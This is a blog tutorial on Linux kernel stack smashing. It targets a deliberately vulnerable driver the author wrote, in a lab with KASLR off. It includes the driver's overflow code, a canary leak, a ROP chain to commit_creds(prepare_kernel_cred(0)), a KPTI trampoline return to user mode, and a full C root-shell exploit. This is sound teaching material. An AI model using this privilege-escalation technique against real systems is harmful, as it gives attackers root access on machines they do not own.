Dr Silvio Cesare
@silviocesare
@silviocesare
Summary
In this
blog post I’ll discuss how to exploit the Linux kernel via a stack smashing
attack. I’ll be attacking the latest kernel version. I’ll also introduce a
vulnerable device driver that I wrote so that I can focus on the exploitation
development and not the vulnerability research.
A number of
mitigations were introduced in recent years, such as Kernel Page Table
Isolation and control register pinning, which makes some previous techniques
obsolete. Techniques like ret2usr no longer work. But regardless, I am able to privesc
and gain a rootshell.
An overview of the attack
The attack
can be split up into a number of stages:
·
Defeat
KASLR
·
Leak
the stack canary
·
Stack
smash and overwrite the canary and return address to trigger a ROP chain
·
ROP
to change the current creds to UID 0
·
ROP
into the code that returns from a system call and continues execution in user
space
·
Continue
execution in user space and exec a shell now running at UID 0
It’s hard
to disable SMEP/SMAP on the latest kernels so we’ll avoid that in our exploit.
That is, we don’t have to disable SMEP/SMAP for the above exploit to work.
The vulnerable device driver
I’m going
to provide primitives for leaking the stack canary in my vulnerable device
driver. The way I do this is by providing an IOCTL to the device I create.
const char *device_name = "/dev/vuln_device";
unsigned long canary;
int fd;
fd = open(device_name, O_RDWR);
if (ioctl(fd, ARB_GET_CANARY, &arg)
!= 0) {
fprintf(stderr, "error:
ioctl\n");
exit(1);
}
canary = arg.value;
I’m also going to disable KASLR with the nokaslr kernel boot time options. Of course, my vulnerable device driver has a kernel stack overflow that I can trigger. The way I do this is by opening up the device file in /dev and simply writing to it. There isn’t any bounds checking and the buffer that is written is copied onto the stack. Here is the kernel code that does that:
static ssize_t arb_rw_write(struct file
*filp,
const char __user *buf, size_t len, loff_t *off)
{
char stack_buf[16];
char *p;
p = kmalloc(len, GFP_KERNEL);
copy_from_user(p, buf, len);
unsafe_memcpy(stack_buf, p, len);
return len;
}
Exploitation
The exploit simply overwrites the stack canary with the correct value then overwrites the return address with the beginning of a ROP chain. The first part of the exploit looks like this:
int main(int argc, char
*argv[])
{
struct arb_rw_arg_s arg = { 0, 0 };
const char *device_name = "/dev/vuln_device";
unsigned long canary;
int fd;
unsigned long ropchain[20];
fd = open(device_name, O_RDWR);
if (ioctl(fd, ARB_GET_CANARY, &arg)
!= 0) {
fprintf(stderr, "error:
ioctl\n");
exit(1);
}
canary = arg.value;
save_status(); // shown later
printf("Canary: 0x%lx\n",
canary);
ropchain[0] = 0x4142434445464748;
ropchain[1] = 0x4142434445464748;
ropchain[2] = canary;
ropchain[3] = 0x41;
ropchain[4] = 0x41;
ropchain[5] = 0x41;
ropchain[6] = 0x41;
ropchain[7] = pop_rdi; // return
address
The address
at ropchain[7] is the return address. This begins our ROP chain.
What we are
going to use to privesc is the following code once the ROP chain is complete
commit_creds(prepare_kernel_cred(0));
To find the
address of these functions, I was using gdb on the kernel image (vmlinux). To
build the ROP gadgets I ran ropper on the image. It took about 20G of memory
and about 10-15 minutes to build gadgets. I ran the kernel inside QEMU with
kernel debugging. It was essential to have a good debugging environment to
single step through the ROP chain and debug what was going on.
To ROP the
privesc code, we need the following. Note the gadget we use to move the return
value of prepare_kernel_cred into the argument for commit_creds. On some kernel
versions, this gadget isn’t directly available, so I’ve had to use other
variants in the past.
unsigned long
commit_creds = 0xffffffff810be110;
unsigned long
prepare_kernel_cred = 0xffffffff810be580;
// xchg rax, rdi; ret
unsigned long
move_rax_to_rdi = 0xffffffff81918e14;
// pop rdi; ret;
unsigned long
pop_rdi = 0xffffffff81083470;
ropchain[7] = pop_rdi;
ropchain[8] = 0x0;
ropchain[9] = prepare_kernel_cred;
ropchain[10] = move_rax_to_rdi;
ropchain[11] = commit_creds;
The remaining
part of our ROP chain is to return execution in user mode. Let’s look at code
in arch/x86/entry/entry_64.S
SYM_INNER_LABEL(swapgs_restore_regs_and_return_to_usermode,
SYM_L_GLOBAL)
#ifdef CONFIG_DEBUG_ENTRY
/* Assert that
pt_regs indicates user mode. */
testb $3, CS(%rsp)
jnz 1f
ud2
1:
#endif
POP_REGS pop_rdi=0
/*
* The stack is
now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.
* Save old stack
pointer and switch to trampoline stack.
*/
movq %rsp, %rdi
movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
/* Copy the IRET
frame to the trampoline stack. */
pushq 6*8(%rdi) /* SS */
pushq 5*8(%rdi) /* RSP */
pushq 4*8(%rdi) /* EFLAGS */
pushq 3*8(%rdi) /* CS */
pushq 2*8(%rdi) /* RIP */
/* Push user RDI
on the trampoline stack. */
pushq (%rdi)
/*
* We are on the
trampoline stack. All regs except RDI
are live.
* We can do
future final exit work right here.
*/
STACKLEAK_ERASE_NOCLOBBER
SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
/* Restore RDI. */
popq %rdi
SWAPGS
INTERRUPT_RETURN
|
We are
going to ROP/return so the code we execute is mov %rsp, %rdi. This will do the
appropriate code to handle kernel page table isolation and continue usermode
code execution. In the following code we will set &shell to be the code
which in usermode execs a shell.
Once we
build the ROP chain we write our buffer to the device and the kernel stack is
smashed and exploited.
ropchain[12] = iret_back_to_user_mode;
ropchain[13] = 0x0; // user_rdi
ropchain[14] = 0x0; // orig_eax
ropchain[15] = (unsigned
long)&shell;
ropchain[16] = ucs;
ropchain[17] = urflags;
ropchain[18] = ursp;
ropchain[19] = uss;
write(fd, &ropchain[0],
20*sizeof(unsigned long));
exit(1); // not reached
Conclusion
I presented techniques for stack smashing on the latest Linux kernel. The techniques don't require a bypass for SMEP/SMAP.Appendix
The complete exploit is as follows:#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include "vuln_driver.h"
static void
shell(void)
{
execl("/bin/bash", "/bin/bash", NULL);
}
static uint64_t ucs, uss, ursp, urflags;
static void
save_status(void)
{
asm volatile ("mov %cs, ucs");
asm volatile ("mov %ss, uss");
asm volatile ("mov %rsp, ursp");
asm volatile ("pushf");
asm volatile ("pop urflags");
}
unsigned long commit_creds = 0xffffffff810be110;
unsigned long prepare_kernel_cred = 0xffffffff810be580;
// 0xffffffff81c00aa7
unsigned long swapgs_iretq = 0xffffffff81c00a8a;
// 0xffffffff81918e14: xchg rax, rdi; ret
unsigned long move_rax_to_rdi = 0xffffffff81918e14;
// 0xffffffff812faf07: xor esi, esi; ret;
unsigned long xor_esi_esi = 0xffffffff812faf07;
// 0xffffffff81083470: pop rdi; ret;
unsigned long pop_rdi = 0xffffffff81083470;
int
main(int argc, char *argv[])
{
struct arb_rw_arg_s arg = { 0, 0 };
const char *device_name = "/dev/vuln_device";
unsigned long canary;
int fd;
unsigned long ropchain[20];
fd = open(device_name, O_RDWR);
if (ioctl(fd, ARB_GET_CANARY, &arg) != 0) {
fprintf(stderr, "error: ioctl\n");
exit(1);
}
canary = arg.value;
save_status();
printf("Canary: 0x%lx\n", canary);
ropchain[0] = 0x4142434445464748;
ropchain[1] = 0x4142434445464748;
ropchain[2] = canary;
ropchain[3] = 0x41;
ropchain[4] = 0x41;
ropchain[5] = 0x41;
ropchain[6] = 0x41;
ropchain[7] = pop_rdi;
ropchain[8] = 0x0;
ropchain[9] = prepare_kernel_cred;
ropchain[10] = move_rax_to_rdi;
ropchain[11] = commit_creds;
ropchain[12] = swapgs_iretq;
ropchain[13] = 0x0; // user_rdi
ropchain[14] = 0x0; // orig_eax
ropchain[15] = (unsigned long)&shell;
ropchain[16] = ucs;
ropchain[17] = urflags;
ropchain[18] = ursp;
ropchain[19] = uss;
write(fd, &ropchain[0], 20*sizeof(unsigned long));
exit(1);
}
